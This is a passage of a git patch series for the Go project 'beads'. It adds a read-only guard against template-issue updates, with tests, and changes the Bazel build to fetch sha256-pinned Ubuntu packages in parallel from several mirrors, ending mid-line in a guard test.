-1812,3 +1824,89 @@ func TestWriteAccessorsRefuseWithoutATransport(t *testing.T) { t.Errorf("CloseIssue without a transport = %v, want ErrNoTransport", err) } } + +// templateServerWire is a stubWire whose generic read half answers getIssue +// with row (nil: not found), recording the read in the same call log as the +// writes, so a test can see whether a pre-read ran and whether it ran BEFORE +// updateIssue — or instead of it. +type templateServerWire struct { + *stubWire + row *types.Issue +} + +func (w *templateServerWire) Preflight(context.Context, string) error { return nil } + +func (w *templateServerWire) Do(_ context.Context, req wire.Request, out any) error { + if req.Op != wire.OpGetIssue { + return fmt.Errorf("templateServerWire: unexpected generic dispatch %q", req.Op) + } + w.calls = append(w.calls, "getIssue:"+req.IssueID) + if w.row == nil { + return fmt.Errorf("no issue %s: %w", req.IssueID, issueops.ErrNotFound) + } + *out.(*types.IssueDetails) = types.IssueDetails{Issue: *w.row, Revision: "1"} + return nil +} + +// TestUpdateTemplateGuardAgainstAServerThatPredatesIt is a NEW client against an +// OLD server: a handshake without issues.update.allowTemplate is a server that +// applies no template guard and refuses `allow_template` as unknown. The client +// decides from the cached handshake, before the dial: it refuses a template +// update itself on a pre-read (the refusal bd update always made), never sends +// `allow_template` to it, and against a server that DOES advertise the token +// it neither pre-reads nor drops the member. +func TestUpdateTemplateGuardAgainstAServerThatPredatesIt(t *testing.T) { + template := &types.Issue{ID: "bd-1", Title: "tmpl", IsTemplate: true} + plain := &types.Issue{ID: "bd-1", Title: "work"} + for _, tc := range []struct { + name string + guarded bool // the handshake advertises the token + row *types.Issue + allow bool + wantCalls []string + wantRefused bool + wantFlag bool + }{ + {name: "old server: a template update is refused before the dial", row: template, + wantCalls: []string{"getIssue:bd-1"}, wantRefused: true}, + {name: "old server: a plain row goes out after the pre-read", row: plain, + wantCalls: []string{"getIssue:bd-1", "updateIssue:bd-1"}}, + {name: "old server: a row the pre-read cannot find goes out for the server to answer", row: nil, + wantCalls: []string{"getIssue:bd-1", "updateIssue:bd-1"}}, + {name: "old server: allow_template is not sent and no pre-read runs", row: template, allow: true, + wantCalls: []string{"updateIssue:bd-1"}}, + {name: "guarded server: no pre-read, the server owns the refusal", guarded: true, row: template, + wantCalls: []string{"updateIssue:bd-1"}}, + {name: "guarded server: allow_template rides the wire", guarded: true, row: template, allow: true, + wantCalls: []string{"updateIssue:bd-1"}, wantFlag: true}, + } { + t.Run(tc.name, func(t *testing.T) { + w := &templateServerWire{stubWire: &stubWire{update: &apigen.UpdateIssueResponse{Revision: "3"}}, row: tc.row} + snap := &apigen.ContextResponse{BdVersion: "1.2.3"} + if tc.guarded { + snap.Capabilities = []string{wire.CapIssuesUpdateAllowTemplate} + } + lifecycle, err := New(testTarget(t), w, snap).IssueLifecycle() + if err != nil { + t.Fatalf("IssueLifecycle(): %v", err) + } + _, err = lifecycle.Update(t.Context(), issueops.UpdateRequest{ + Actor: "writer", IssueID: "bd-1", AllowTemplate: tc.allow, + Patch: issueops.IssuePatch{Title: set("t")}, + }) + var refusal *issueops.TemplateReadOnlyError + if got := errors.As(err, &refusal); got != tc.wantRefused { + t.Fatalf("Update err = %v, want a TemplateReadOnlyError: %v", err, tc.wantRefused) + } + if !tc.wantRefused && err != nil { + t.Fatalf("Update: %v", err) + } + if !reflect.DeepEqual(w.calls, tc.wantCalls) { + t.Errorf("calls = %v, want %v", w.calls, tc.wantCalls) + } + if !tc.wantRefused && w.lastFlags.AllowTemplate != tc.wantFlag { + t.Errorf("sent allow_template = %v, want %v", w.lastFlags.AllowTemplate, tc.wantFlag) + } + }) + } +} diff --git a/internal/storage/dolt/batch_apply_contract_test.go b/internal/storage/dolt/batch_apply_contract_test.go index 13b950360..480150703 100644 --- a/internal/storage/dolt/batch_apply_contract_test.go +++ b/internal/storage/dolt/batch_apply_contract_test.go @@ -255,6 +255,16 @@ func TestBatchApplyContract(t *testing.T) { defer cancel() conformance.RunBatchApplyRefusesAnUnusableRequest(t, ctx, fixture) }) + t.Run("UpdateItemsRefuseATemplate", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplyUpdateItemsRefuseATemplate(t, ctx, fixture) + }) + t.Run("SplicesTheMetadataOfATemplateItCreates", func(t *testing.T) { + ctx, cancel := testContext(t) + defer cancel() + conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, ctx, fixture) + }) } // newDoltBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/dolt/lifecycle_update_contract_test.go b/internal/storage/dolt/lifecycle_update_contract_test.go index 409ad0b3f..2696c7834 100644 --- a/internal/storage/dolt/lifecycle_update_contract_test.go +++ b/internal/storage/dolt/lifecycle_update_contract_test.go @@ -90,6 +90,12 @@ func TestLifecycleUpdateContract(t *testing.T) { t.Run("ProvenanceLabelsHistory", func(t *testing.T) { conformance.RunLifecycleUpdateProvenanceLabelsHistory(t, ctx, fixture) }) + t.Run("RefusesATemplate", func(t *testing.T) { + conformance.RunLifecycleUpdateRefusesATemplate(t, ctx, fixture) + }) + t.Run("AllowTemplateEditsATemplate", func(t *testing.T) { + conformance.RunLifecycleUpdateAllowTemplateEditsATemplate(t, ctx, fixture) + }) } func newDoltLifecycleUpdateFixture(t *testing.T, prefix string) (conformance.LifecycleUpdateFixture, context.Context, func()) { diff --git a/internal/storage/embeddeddolt/batch_apply_contract_test.go b/internal/storage/embeddeddolt/batch_apply_contract_test.go index c7be4ca2d..5bf1afbaa 100644 --- a/internal/storage/embeddeddolt/batch_apply_contract_test.go +++ b/internal/storage/embeddeddolt/batch_apply_contract_test.go @@ -187,6 +187,12 @@ func TestBatchApplyContract(t *testing.T) { t.Run("RefusesAnUnusableRequest", func(t *testing.T) { conformance.RunBatchApplyRefusesAnUnusableRequest(t, ctx, fixture) }) + t.Run("UpdateItemsRefuseATemplate", func(t *testing.T) { + conformance.RunBatchApplyUpdateItemsRefuseATemplate(t, ctx, fixture) + }) + t.Run("SplicesTheMetadataOfATemplateItCreates", func(t *testing.T) { + conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, ctx, fixture) + }) } // newEmbeddedBatchApplyFixture composes the frozen role kit with this backend's diff --git a/internal/storage/embeddeddolt/lifecycle_update_contract_test.go b/internal/storage/embeddeddolt/lifecycle_update_contract_test.go index 985ff24f9..635c3ff13 100644 --- a/internal/storage/embeddeddolt/lifecycle_update_contract_test.go +++ b/internal/storage/embeddeddolt/lifecycle_update_contract_test.go @@ -91,6 +91,12 @@ func TestLifecycleUpdateContract(t *testing.T) { t.Run("ProvenanceLabelsHistory", func(t *testing.T) { conformance.RunLifecycleUpdateProvenanceLabelsHistory(t, ctx, fixture) }) + t.Run("RefusesATemplate", func(t *testing.T) { + conformance.RunLifecycleUpdateRefusesATemplate(t, ctx, fixture) + }) + t.Run("AllowTemplateEditsATemplate", func(t *testing.T) { + conformance.RunLifecycleUpdateAllowTemplateEditsATemplate(t, ctx, fixture) + }) } func newEmbeddedLifecycleUpdateFixture(t *testing.T, te *testEnv, prefix string) conformance.LifecycleUpdateFixture { diff --git a/internal/storage/issueops/aggregate.go b/internal/storage/issueops/aggregate.go index f56fddc04..faf899e7c 100644 --- a/internal/storage/issueops/aggregate.go +++ b/internal/storage/issueops/aggregate.go @@ -231,6 +231,29 @@ func AuthorizeNotesOverwrite(before *types.Issue, request publicops.UpdateReques return fmt.Errorf("%w: issue %s", storage.ErrNotesOverwrite, before.ID) } +// AuthorizeTemplateUpdate refuses an update of a template with +// *publicops.TemplateReadOnlyError. Templates are read-only — work comes out of +// one by pouring it — so every update naming one refuses, whatever its patch +// and whatever force flags it carries: no force flag waives it (only the +// caller's explicit AllowTemplate does). +// +// It is the guard `bd update` (and assign, and the proxied mutations) used to +// apply as a pre-read in cmd/bd, which left bd serve, BatchApplier update items +// and library callers writing to templates bd refused. It sits beside the +// other update fences and is called from the same three places — ExecuteUpdate, +// and the unit-of-work update and batch legs — over the same-transaction +// pre-image, after the compare-and-set preconditions, so a stale guard still +// reports as the mismatch. +// +// request.AllowTemplate is the caller saying it edits a template deliberately +// (bd label, bd set-state); the guard stands down for that request only. +func AuthorizeTemplateUpdate(before *types.Issue, request publicops.UpdateRequest) error { + if before != nil && before.IsTemplate && !request.AllowTemplate { + return &publicops.TemplateReadOnlyError{IssueID: before.ID} + } + return nil +} + // ApplyMetadataPatch returns the canonical metadata value and whether it changes. func ApplyMetadataPatch(current json.RawMessage, patch publicops.MetadataPatch) (json.RawMessage, bool, error) { if !patch.Replace.Set && !patch.Merge.Set && len(patch.Set) == 0 && len(patch.Unset) == 0 { diff --git a/internal/storage/issueops/batch_apply.go b/internal/storage/issueops/batch_apply.go index bd6a251d1..1621e772e 100644 --- a/internal/storage/issueops/batch_apply.go +++ b/internal/storage/issueops/batch_apply.go @@ -481,11 +481,13 @@ func (r *applyBatchRun) spliceMetadataRefs(ctx context.Context, tx *sql.Tx) erro return err } id := r.result.Items[index].IssueID - updated, tables, err := ExecuteUpdate(ctx, tx, publicops.UpdateRequest{ + // Unguarded for templates: the splice finishes this request's own + // create, so a template it creates is not being modified. + updated, tables, err := executeUpdate(ctx, tx, publicops.UpdateRequest{ Actor: r.plan.Actor, IssueID: id, Patch: publicops.IssuePatch{Metadata: publicops.MetadataPatch{Set: set}}, - }) + }, false) if err != nil { return &publicops.ItemError{ Index: index, Kind: publicops.ItemCreate, Key: item.Create.Key, IssueID: id, Err: err, diff --git a/internal/storage/issueops/execution.go b/internal/storage/issueops/execution.go index 04009d857..c701fb55f 100644 --- a/internal/storage/issueops/execution.go +++ b/internal/storage/issueops/execution.go @@ -136,6 +136,15 @@ func skippedDependencyError(skipped []skippedDependency) error { // ExecuteUpdate applies a guarded update in tx and reports durable tables changed. func ExecuteUpdate(ctx context.Context, tx *sql.Tx, request publicops.UpdateRequest) (publicops.UpdateResult, ChangedTables, error) { + return executeUpdate(ctx, tx, request, true) +} + +// executeUpdate is ExecuteUpdate with the template guard made optional, for the +// one caller that is not an update of an existing row: the batch apply's +// metadata splice, which finishes a CREATE item of the same request — a +// template the request itself is creating is still being written, not +// modified. +func executeUpdate(ctx context.Context, tx *sql.Tx, request publicops.UpdateRequest, guardTemplate bool) (publicops.UpdateResult, ChangedTables, error) { attempt := CloneUpdateRequest(request) if attempt.Actor == "" || attempt.IssueID == "" { return publicops.UpdateResult{}, nil, fmt.Errorf("%w: update requires actor and issue ID", storage.ErrValidation) @@ -171,6 +180,11 @@ func ExecuteUpdate(ctx context.Context, tx *sql.Tx, request publicops.UpdateRequ } else if err := CheckExpectedFieldsInTx(ctx, tx, attempt.IssueID, attempt.ExpectedAssignee, nil); err != nil { return publicops.UpdateResult{}, nil, err } + if guardTemplate { + if err := AuthorizeTemplateUpdate(before, attempt); err != nil { + return publicops.UpdateResult{}, nil, err + } + } if err := AuthorizeAssigneeTransfer(ctx, tx, before, attempt); err != nil { return publicops.UpdateResult{}, nil, err } diff --git a/internal/storage/issueops/version_completeness_test.go b/internal/storage/issueops/version_completeness_test.go index e7d265b11..611c55c6d 100644 --- a/internal/storage/issueops/version_completeness_test.go +++ b/internal/storage/issueops/version_completeness_test.go @@ -76,8 +76,10 @@ func versionMintEdges(fns map[string]*journalscan.FuncInfo) func(*journalscan.Fu // its own RecordVersionInTx: nothing it calls with the gate off can carry it // on its behalf. TestCompositeMutationsCarryTheirOwnMint is what turns // reviewer Probe 2 (delete ExecuteUpdate's final mint block) into a failure. +// ExecuteUpdate's body is executeUpdate (ExecuteUpdate is it with the template +// guard on), so the composite named here is the body that carries the mint. var versionCompositeMutations = []string{ - "ExecuteUpdate", + "executeUpdate", "applyLabelPatch", "applyParentPatch", } diff --git a/internal/storage/uow/batch_applier.go b/internal/storage/uow/batch_applier.go index 9c41e1ae6..b26025a5c 100644 --- a/internal/storage/uow/batch_applier.go +++ b/internal/storage/uow/batch_applier.go @@ -310,7 +310,7 @@ func (r *uowApplyRun) applyUpdate(ctx context.Context, index int, item *publicop if err := validateUpdateRequest(request); err != nil { return itemErr(err) } - updated, err := r.runUpdate(ctx, request) + updated, err := r.runUpdate(ctx, request, true) if err != nil { return itemErr(err) } @@ -332,7 +332,10 @@ func (r *uowApplyRun) applyUpdate(ctx context.Context, index int, item *publicop // change. ga-v2k49 is a concrete instance of that drift: claimChanged's actor // comparison here and there diverged (one verbatim, one not) until both were // found and fixed independently. -func (r *uowApplyRun) runUpdate(ctx context.Context, request publicops.UpdateRequest) (publicops.UpdateResult, error) { +// +// guardTemplate is false only for the metadata splice, which finishes a create +// item of this request rather than modifying an existing row. +func (r *uowApplyRun) runUpdate(ctx context.Context, request publicops.UpdateRequest, guardTemplate bool) (publicops.UpdateResult, error) { spec, err := updateSpec(request) if err != nil { return publicops.UpdateResult{}, validationError(err) @@ -346,6 +349,11 @@ func (r *uowApplyRun) runUpdate(ctx context.Context, request publicops.UpdateReq return publicops.UpdateResult{}, err } if updatePreconditionsHold(request, before) { + if guardTemplate { + if err := storageissueops.AuthorizeTemplateUpdate(before, request); err != nil { + return publicops.UpdateResult{}, err + } + } if err := authorizeAssigneeTransfer(ctx, r.uw, before, request); err != nil { return publicops.UpdateResult{}, err } @@ -527,11 +535,13 @@ func (r *uowApplyRun) spliceMetadataRefs(ctx context.Context) error { return err } id := r.result.Items[index].IssueID + // Unguarded for templates, as the store-backed splice is: it finishes + // this request's own create. updated, err := r.runUpdate(ctx, publicops.UpdateRequest{ Actor: r.plan.Actor, IssueID: id, Patch: publicops.IssuePatch{Metadata: publicops.MetadataPatch{Set: set}}, - }) + }, false) if err != nil { return &publicops.ItemError{Index: index, Kind: publicops.ItemCreate, Key: item.Create.Key, IssueID: id, Err: err} } diff --git a/internal/storage/uow/batch_apply_contract_test.go b/internal/storage/uow/batch_apply_contract_test.go index 6ae8f3899..9bb82d3e9 100644 --- a/internal/storage/uow/batch_apply_contract_test.go +++ b/internal/storage/uow/batch_apply_contract_test.go @@ -157,6 +157,12 @@ func TestBatchApplyContract(t *testing.T) { t.Run("RefusesAnUnusableRequest", func(t *testing.T) { conformance.RunBatchApplyRefusesAnUnusableRequest(t, ctx, fixture) }) + t.Run("UpdateItemsRefuseATemplate", func(t *testing.T) { + conformance.RunBatchApplyUpdateItemsRefuseATemplate(t, ctx, fixture) + }) + t.Run("SplicesTheMetadataOfATemplateItCreates", func(t *testing.T) { + conformance.RunBatchApplySplicesTheMetadataOfATemplateItCreates(t, ctx, fixture) + }) } func newUOWBatchApplyFixture(t *testing.T, ctx context.Context, prefix string) conformance.BatchApplyFixture { diff --git a/internal/storage/uow/issue_operations.go b/internal/storage/uow/issue_operations.go index c0f3451d8..55205753a 100644 --- a/internal/storage/uow/issue_operations.go +++ b/internal/storage/uow/issue_operations.go @@ -231,6 +231,9 @@ func (o *issueOperations) Update(ctx context.Context, request publicops.UpdateRe // version and status before authorizing, so when one is stale the fence // stands down and ApplyUpdate reports the mismatch instead. if updatePreconditionsHold(attempt, before) { + if err := storageissueops.AuthorizeTemplateUpdate(before, attempt); err != nil { + return publicops.UpdateResult{}, "", err + } if err := authorizeAssigneeTransfer(ctx, uw, before, attempt); err != nil { return publicops.UpdateResult{}, "", err } diff --git a/internal/storage/uow/issue_operations_claim_contract_test.go b/internal/storage/uow/issue_operations_claim_contract_test.go index c4c84067b..9ecc081a2 100644 --- a/internal/storage/uow/issue_operations_claim_contract_test.go +++ b/internal/storage/uow/issue_operations_claim_contract_test.go @@ -289,7 +289,7 @@ func TestBatchRunUpdateIdempotentClaimAcrossSpellingReportsNoChange(t *testing.T result, err := run.runUpdate(context.Background(), publicops.UpdateRequest{ Actor: "gastown.mayor", IssueID: "bd-1", Claim: true, - }) + }, true) if err != nil { t.Fatalf("runUpdate: %v, want success (same identity, different separator spelling)", err) } @@ -307,7 +307,7 @@ func TestBatchRunUpdateClaimByGenuinelyDifferentIdentityReportsAChange(t *testin result, err := run.runUpdate(context.Background(), publicops.UpdateRequest{ Actor: "gastown.dog-3", IssueID: "bd-1", Claim: true, - }) + }, true) if err != nil { t.Fatalf("runUpdate: %v", err) } diff --git a/internal/storage/uow/lifecycle_update_contract_test.go b/internal/storage/uow/lifecycle_update_contract_test.go index 1e7790e39..85983bf4f 100644 --- a/internal/storage/uow/lifecycle_update_contract_test.go +++ b/internal/storage/uow/lifecycle_update_contract_test.go @@ -92,6 +92,12 @@ func TestLifecycleUpdateContract(t *testing.T) { t.Run("ProvenanceLabelsHistory", func(t *testing.T) { conformance.RunLifecycleUpdateProvenanceLabelsHistory(t, ctx, fixture) }) + t.Run("RefusesATemplate", func(t *testing.T) { + conformance.RunLifecycleUpdateRefusesATemplate(t, ctx, fixture) + }) + t.Run("AllowTemplateEditsATemplate", func(t *testing.T) { + conformance.RunLifecycleUpdateAllowTemplateEditsATemplate(t, ctx, fixture) + }) } func newUOWLifecycleUpdateFixture(t *testing.T, ctx context.Context, prefix string) conformance.LifecycleUpdateFixture { diff --git a/internal/validation/BUILD.bazel b/internal/validation/BUILD.bazel index 5b75f8787..e9aefda09 100644 --- a/internal/validation/BUILD.bazel +++ b/internal/validation/BUILD.bazel @@ -13,6 +13,7 @@ go_library( "//internal/config", "//internal/types", "//internal/utils", + "//issueops", ], ) diff --git a/internal/validation/issue.go b/internal/validation/issue.go index c59f4e4b2..bde847ec3 100644 --- a/internal/validation/issue.go +++ b/internal/validation/issue.go @@ -6,6 +6,7 @@ import ( "strings" "github.com/steveyegge/beads/internal/types" + "github.com/steveyegge/beads/issueops" ) // IssueValidator validates an issue and returns an error if validation fails. @@ -43,7 +44,7 @@ func NotTemplate() IssueValidator { return nil // Let Exists() handle nil check if needed } if issue.IsTemplate { - return fmt.Errorf("cannot modify template %s: templates are read-only; use 'bd mol pour' to create a work item", id) + return &issueops.TemplateReadOnlyError{IssueID: id} } return nil } diff --git a/issueops/BUILD.bazel b/issueops/BUILD.bazel index 47fa9a549..817b49916 100644 --- a/issueops/BUILD.bazel +++ b/issueops/BUILD.bazel @@ -33,6 +33,7 @@ go_library( "releaser.go", "statsreporter.go", "sweeper.go", + "template_errors.go", "treewalker.go", "versionreconciler.go", "workspaceconfig.go", diff --git a/issueops/batchapplier.go b/issueops/batchapplier.go index ac84c74df..76d301234 100644 --- a/issueops/batchapplier.go +++ b/issueops/batchapplier.go @@ -104,7 +104,9 @@ type CreateItem struct { // UpdateItem patches one existing issue, under UpdateRequest's rules. type UpdateItem struct { - // Target names the issue to patch and must resolve BACKWARD — see Ref. + // Target names the issue to patch and must resolve BACKWARD — see Ref. A + // template target refuses with *TemplateReadOnlyError, exactly as + // Lifecycle.Update does: templates are read-only. Target Ref // Patch is the edit, read exactly as UpdateRequest.Patch is — including // that Patch.Labels is the whole LabelPatch, so a label REMOVAL is diff --git a/issueops/issueops.go b/issueops/issueops.go index aa2bd2101..69c8a20a1 100644 --- a/issueops/issueops.go +++ b/issueops/issueops.go @@ -273,6 +273,14 @@ type UpdateRequest struct { // It is the update-side spelling of CloseRequest.Force; a command adapter // that maps one flag to both spells both. ForceClosePolicy bool + // AllowTemplate says the caller edits a template deliberately, so the + // template read-only refusal (*TemplateReadOnlyError) stands down for this + // request. bd label and bd set-state set it to keep their pre-guard + // behavior: they have always written to templates. The zero value + // enforces the guard. It bypasses nothing else — validation, the + // preconditions, the assignee and notes fences and close policy still + // apply — and has no effect on an issue that is not a template. + AllowTemplate bool // The three Expected* guards below are this package's FOUNDING spelling of // the compare-and-set family, and the family's rules are stated once, at // length, on DeleteRequest.ExpectedVersion (deleter.go) and @@ -478,7 +486,12 @@ type Lifecycle interface { // returns ErrCloseBlocked, both without mutation. ForceClosePolicy bypasses // those two refusals and nothing else. A Claim that loses its // compare-and-set returns *ClaimConflictError carrying the state that beat - // it. A refusal or validation error leaves persistent state unchanged. + // it. An update of a template returns *TemplateReadOnlyError whatever its + // patch and force flags, unless it sets AllowTemplate — templates are + // read-only — checked after the + // compare-and-set preconditions, so a stale guard still reports the + // mismatch. A refusal or validation error leaves persistent state + // unchanged. Update(context.Context, UpdateRequest) (UpdateResult, error) // Close validates guards and commits the complete request as one atomic // mutation. It moves the issue to literal StatusClosed, including from a diff --git a/issueops/template_errors.go b/issueops/template_errors.go new file mode 100644 index 000000000..8997324c3 --- /dev/null +++ b/issueops/template_errors.go @@ -0,0 +1,30 @@ +package issueops + +import ( + "errors" + "fmt" +) + +// ErrTemplateReadOnly is returned when a mutation that guards templates names +// one. Every update does (Lifecycle.Update, a BatchApplier update item); not +// every verb does yet (bd-jkp9v3). Templates are read-only: the way to get +// work out of one is to pour it (`bd mol pour`), which creates new issues and +// leaves the template untouched. There is no force bypass — no Force flag +// waives it; only an update that sets UpdateRequest.AllowTemplate (bd label, +// bd set-state) is let through. +var ErrTemplateReadOnly = errors.New("templates are read-only") + +// TemplateReadOnlyError reports the template a mutation was refused for. Its +// message is the sentence `bd` has always printed for the refusal, so a caller +// that renders err.Error() reads the same line whichever backend refused. +type TemplateReadOnlyError struct { + // IssueID names the template that refused the mutation. + IssueID string +} + +func (e *TemplateReadOnlyError) Error() string { + return fmt.Sprintf("cannot modify template %s: templates are read-only; use 'bd mol pour' to create a work item", e.IssueID) +} + +// Unwrap makes TemplateReadOnlyError match ErrTemplateReadOnly. +func (e *TemplateReadOnlyError) Unwrap() error { return ErrTemplateReadOnly } From a945eca145bd91431e05cf14149b09c9e30bf263 Mon Sep 17 00:00:00 2001 From: Julian Knutsen Date: Fri, 9 Oct 2026 17:47:17 +0000 Subject: [PATCH 191/325] ci(bazel): fetch pinned Ubuntu debs in parallel from a gascity mirror first (#7434) * ci(bazel): fetch pinned Ubuntu debs in parallel from a gascity mirror first cc_sysroot_noble_amd64 downloaded its 7 pinned .debs one at a time from snapshot.ubuntu.com, with only archive.ubuntu.com behind it. On 2026-10-09 the snapshot returned 503, and Bazel's retries against it cost ~95 s per cold fetch before falling back (and archive.ubuntu.com drops superseded versions, which would fail the fetch outright). Same change as gastownhall/gascity (ga-vnycm2.11): deb_sysroot takes URL templates ({path}, {file}, {sha256}) and starts every package download at once (rctx.download block = False). NOBLE_DEB_URLS tries gascity's content-addressed release mirror (toolchain-noble-debs-20261001, which holds these exact pins; beads already takes its LLVM slice from a gascity release), the snapshot, Launchpad's librarian, then archive.ubuntu.com. The sha256 pins are unchanged and decide what is accepted; the unpacked sysroot is byte-identical. The hermetic-cc guard now checks every deb_sysroot: placeholders, the snapshot kept, two or more hosts, no moving mirror first, no ICU. Co-Authored-By: Claude Opus 5.5 (1M context) * build(bazel): auto-sync BUILD files Applied from the bazel-sync-patch artifact of https://github.com/gastownhall/beads/actions/runs/37966817176 (`make bazel-sync`: gazelle, tools/bazel/go_srcs.py, bazel mod tidy). Only BUILD.bazel, MODULE.bazel and MODULE.bazel.lock are ever pushed; see scripts/bazel-autofix-push.sh. --------- Co-authored-by: Claude Opus 5.5 (1M context) Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com> --- MODULE.bazel | 23 +++- scripts/bazel_hermetic_cc_test.go | 136 ++++++++++++++++++----- third_party/cc_toolchain/deb_sysroot.bzl | 35 ++++-- 3 files changed, 149 insertions(+), 45 deletions(-) diff --git a/MODULE.bazel b/MODULE.bazel index 68ded81bb..0be68a91d 100644 --- a/MODULE.bazel +++ b/MODULE.bazel @@ -39,12 +39,26 @@ bazel_dep(name = "rules_cc", version = "0.2.17") # scripts/bazel_hermetic_cc_test.go guards both. deb_sysroot = use_repo_rule("//third_party/cc_toolchain:deb_sysroot.bzl", "deb_sysroot") +# Where every pinned Ubuntu 24.04 package below comes from, tried in order +# (the sha256 pins, not the source, decide what is accepted): +# - gascity's content-addressed mirror, a release holding each pinned +# .deb as .deb (gascity's tools/cc_toolchain/mirror_debs.sh +# publishes it; gascity pins the same packages), so a cold fetch does not +# depend on Canonical's servers; +# - the snapshot these packages were pinned from (immutable, but a single +# host that returns 503 for minutes at a time); +# - Launchpad's librarian, which keeps every file ever published to the +# primary archive, superseded versions included; +# - archive.ubuntu.com, which drops superseded versions. +NOBLE_DEB_URLS = [ + "https://github.com/gastownhall/gascity/releases/download/toolchain-noble-debs-20261001/{sha256}.deb", + "https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/{path}", + "https://launchpad.net/ubuntu/+archive/primary/+files/{file}", + "https://archive.ubuntu.com/ubuntu/{path}", +] + deb_sysroot( name = "cc_sysroot_noble_amd64", - mirrors = [ - "https://snapshot.ubuntu.com/ubuntu/20261001T000000Z/", - "https://archive.ubuntu.com/ubuntu/", - ], packages = { "pool/main/g/gcc-13/libgcc-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb": "cd689db2691edaa10f37329307292796bb599e722e0505c79e14caaa1fe9a93a", "pool/main/g/gcc-13/libstdc++-13-dev_13.3.0-6ubuntu2~24.04.1_amd64.deb": "ee5633e863e19c3381ed97842ce35ed32ede96a3d1ae4e94c051d3036fe21347", @@ -70,6 +84,7 @@ deb_sysroot( "usr/lib/gcc/x86_64-linux-gnu/13/libquadmath*", "usr/lib/gcc/x86_64-linux-gnu/13/libstdc++*.a", ], + urls = NOBLE_DEB_URLS, ) LLVM_VERSION = "22.1.8" diff --git a/scripts/bazel_hermetic_cc_test.go b/scripts/bazel_hermetic_cc_test.go index 335d0e648..fec515bff 100644 --- a/scripts/bazel_hermetic_cc_test.go +++ b/scripts/bazel_hermetic_cc_test.go @@ -33,9 +33,14 @@ const ( var ( sha256HexRE = regexp.MustCompile(`^[0-9a-f]{64}$`) - // snapshot.ubuntu.com serves each timestamp's archive state forever; a - // moving mirror (archive.ubuntu.com) may only follow it as a fallback. - ubuntuSnapshotRE = regexp.MustCompile(`^https://snapshot\.ubuntu\.com/ubuntu/\d{8}T\d{6}Z/$`) + // snapshot.ubuntu.com serves each timestamp's archive state forever, so + // the package pins stay resolvable at the snapshot they were taken from. + ubuntuSnapshotRE = regexp.MustCompile(`^https://snapshot\.ubuntu\.com/ubuntu/\d{8}T\d{6}Z/\{path\}$`) + // archive.ubuntu.com drops superseded versions: a fallback, never first. + ubuntuMovingMirrorRE = regexp.MustCompile(`^https?://([a-z0-9-]+\.)*archive\.ubuntu\.com/`) + // deb_sysroot's URL templates: {path} (pool path), {file} (its basename) + // and {sha256} (the pin) are the only placeholders. + debURLPlaceholderRE = regexp.MustCompile(`\{[^}]*\}`) // A sliced llvm_dist archive is a repack (repack_llvm.sh), not an // upstream release, so it may only come from a gastownhall release: // beads' own mirror or gascity's original asset (same bytes, same sha256). @@ -114,36 +119,96 @@ func checkHermeticCCModule(module string) []error { errs = append(errs, errors.New("llvm_dist must pin its archive by sha256")) } - if sysroot, err := moduleCall(module, "deb_sysroot", `name = "cc_sysroot_noble_amd64"`); err != nil { + if _, err := moduleCall(module, "deb_sysroot", `name = "cc_sysroot_noble_amd64"`); err != nil { errs = append(errs, err) + } + for _, m := range regexp.MustCompile(`(?ms)^deb_sysroot\(\n(.*?)^\)`).FindAllStringSubmatch(module, -1) { + errs = append(errs, checkDebSysroot(module, m[1])...) + } + return errs +} + +// checkDebSysroot: every package is an amd64 pool .deb pinned by sha256 that +// ships no ICU, and its URL templates give each package more than one host, +// keep the snapshot the pins were taken from, and never start with a moving +// mirror. +func checkDebSysroot(module, call string) []error { + var errs []error + name := "deb_sysroot" + if m := regexp.MustCompile(`name = "([^"]+)"`).FindStringSubmatch(call); m != nil { + name += " " + m[1] + } + urls, err := debSysrootURLs(module, call) + if err != nil { + errs = append(errs, errors.New(name+": "+err.Error())) } else { - mirrors := regexp.MustCompile(`(?s)mirrors = \[\s*"([^"]+)"`).FindStringSubmatch(sysroot) - if mirrors == nil || !ubuntuSnapshotRE.MatchString(mirrors[1]) { - errs = append(errs, errors.New("deb_sysroot's first mirror must be an immutable snapshot.ubuntu.com/ubuntu// root")) + hosts := map[string]bool{} + snapshot := false + for _, u := range urls { + holes := debURLPlaceholderRE.FindAllString(u, -1) + if len(holes) != 1 || (holes[0] != "{path}" && holes[0] != "{file}" && holes[0] != "{sha256}") { + errs = append(errs, errors.New(name+": url "+u+" must name the package by exactly one of {path}, {file} or {sha256}")) + } + snapshot = snapshot || ubuntuSnapshotRE.MatchString(u) + host, _, _ := strings.Cut(strings.TrimPrefix(u, "https://"), "/") + hosts[host] = true } - body := regexp.MustCompile(`(?s)packages = \{(.*?)\}`).FindStringSubmatch(sysroot) - if body == nil { - errs = append(errs, errors.New("deb_sysroot has no packages")) - } else { - pkgs := quotedPairs(body[1]) - if len(pkgs) == 0 { - errs = append(errs, errors.New("deb_sysroot has no packages")) - } - for path, sum := range pkgs { - if !strings.HasPrefix(path, "pool/") || !strings.HasSuffix(path, "_amd64.deb") || !sha256HexRE.MatchString(sum) { - errs = append(errs, errors.New("deb_sysroot package "+path+" must be an amd64 pool .deb pinned by sha256")) - } - // ICU policy (engdocs/ICU-POLICY.md): nothing links libicu, - // so the sysroot offers no ICU to link against. - if strings.Contains(path, "/icu/") { - errs = append(errs, errors.New("deb_sysroot package "+path+" ships ICU, which beads must never link (engdocs/ICU-POLICY.md)")) - } - } + if !snapshot { + errs = append(errs, errors.New(name+": urls must include an immutable https://snapshot.ubuntu.com/ubuntu//{path}")) + } + if len(hosts) < 2 { + errs = append(errs, errors.New(name+": urls must span at least two hosts, so one outage cannot fail a cold fetch")) + } + if len(urls) > 0 && ubuntuMovingMirrorRE.MatchString(urls[0]) { + errs = append(errs, errors.New(name+": the first url must not be a moving mirror (archive.ubuntu.com drops superseded packages)")) + } + } + body := regexp.MustCompile(`(?s)packages = \{(.*?)\}`).FindStringSubmatch(call) + if body == nil { + return append(errs, errors.New(name+" has no packages")) + } + pkgs := quotedPairs(body[1]) + if len(pkgs) == 0 { + errs = append(errs, errors.New(name+" has no packages")) + } + for path, sum := range pkgs { + if !strings.HasPrefix(path, "pool/") || !strings.HasSuffix(path, 